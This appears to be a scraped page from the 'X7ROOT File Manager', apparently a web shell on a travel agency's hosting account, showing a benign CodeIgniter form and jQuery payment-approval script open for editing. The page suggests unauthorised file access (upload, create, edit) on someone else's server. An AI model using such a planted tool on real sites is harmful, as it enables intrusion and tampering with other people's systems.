X7ROOT File Manager
Current Path:
/home/hamdjcne/app.hamdalillahitravel.com/app/Views/tour
home
/
hamdjcne
/
app.hamdalillahitravel.com
/
app
/
Views
/
tour
/
ðŸ“
..
📄
package.php
(44.25 KB)
📄
package_form.php
(3.02 KB)
Editing: package_form.php
<?php use App\Models\Crud; $this->Crud = new Crud(); ?> <?php echo form_open_multipart($form_link, array('id'=>'bb_ajax_form2', 'class'=>'')); ?> <!-- delete view --> <?php if($param2 == 'delete') { ?> <div class="row"> <div class="col-sm-12"><div id="bb_ajax_msg2"></div></div> </div> <div class="row"> <div class="col-sm-12 text-center"> <h3><b>Are you sure?</b></h3> <input type="hidden" name="d_id" value="<?php if(!empty($d_id)){echo $d_id;} ?>" /> </div> <div class="col-sm-12 text-center"> <button class="btn btn-danger text-uppercase" type="submit"> <i class="ri-delete-bin-4-line"></i> Yes - Delete </button> </div> </div> <?php } ?> <?php echo form_close(); ?> <script> $('.js-select2').select2(); $(document).ready(function () { function toggleReturnField() { var tripType = $('#trip_type_select').val(); if (tripType === 'One Way') { $('#return_date_block').hide(500); $('#return_date').val(''); } else { $('#return_date_block').show(500); } } // Run on page load toggleReturnField(); // Bind change event $('#trip_type_select').on('change', function () { toggleReturnField(); }); }); $(document).ready(function() { $('#approve_payment_btn').on('click', function() { var invoiceId = $('#invoice_id').val().trim(); $('#bb_ajax_msg1').html('<div class="col-sm-12 fs-2 text-center" data-kt-indicator="on"><span class="indicator-progress">Please wait... <span class="spinner-border spinner-border-sm align-middle ms-2"></span></span></div>'); if (invoiceId === '') { $('#bb_ajax_msg1').html('Please enter an invoice ID.'); return; } // Send via AJAX to your backend $.ajax({ url: '<?= site_url("events/invoices/manage/approve/") ?>'+invoiceId, // Update to your actual endpoint type: 'POST', data: { invoice_id: invoiceId }, beforeSend: function() { $('#approve_payment_btn').prop('disabled', true).html('<i class="spinner-border spinner-border-sm"></i> Processing...'); }, success: function(response) { $('#bb_ajax_msg1').html(response); // You can replace with Swal or toast if needed }, error: function(xhr) { $('#bb_ajax_msg1').html('An error occurred: ' + xhr.responseText); }, complete: function() { $('#approve_payment_btn').prop('disabled', false).html('<i class="bi bi-check"></i> Approve Payment'); } }); }); }); </script> <script src="<?php echo site_url(); ?>assets/js/jsform.js"></script>
Upload File
Create Folder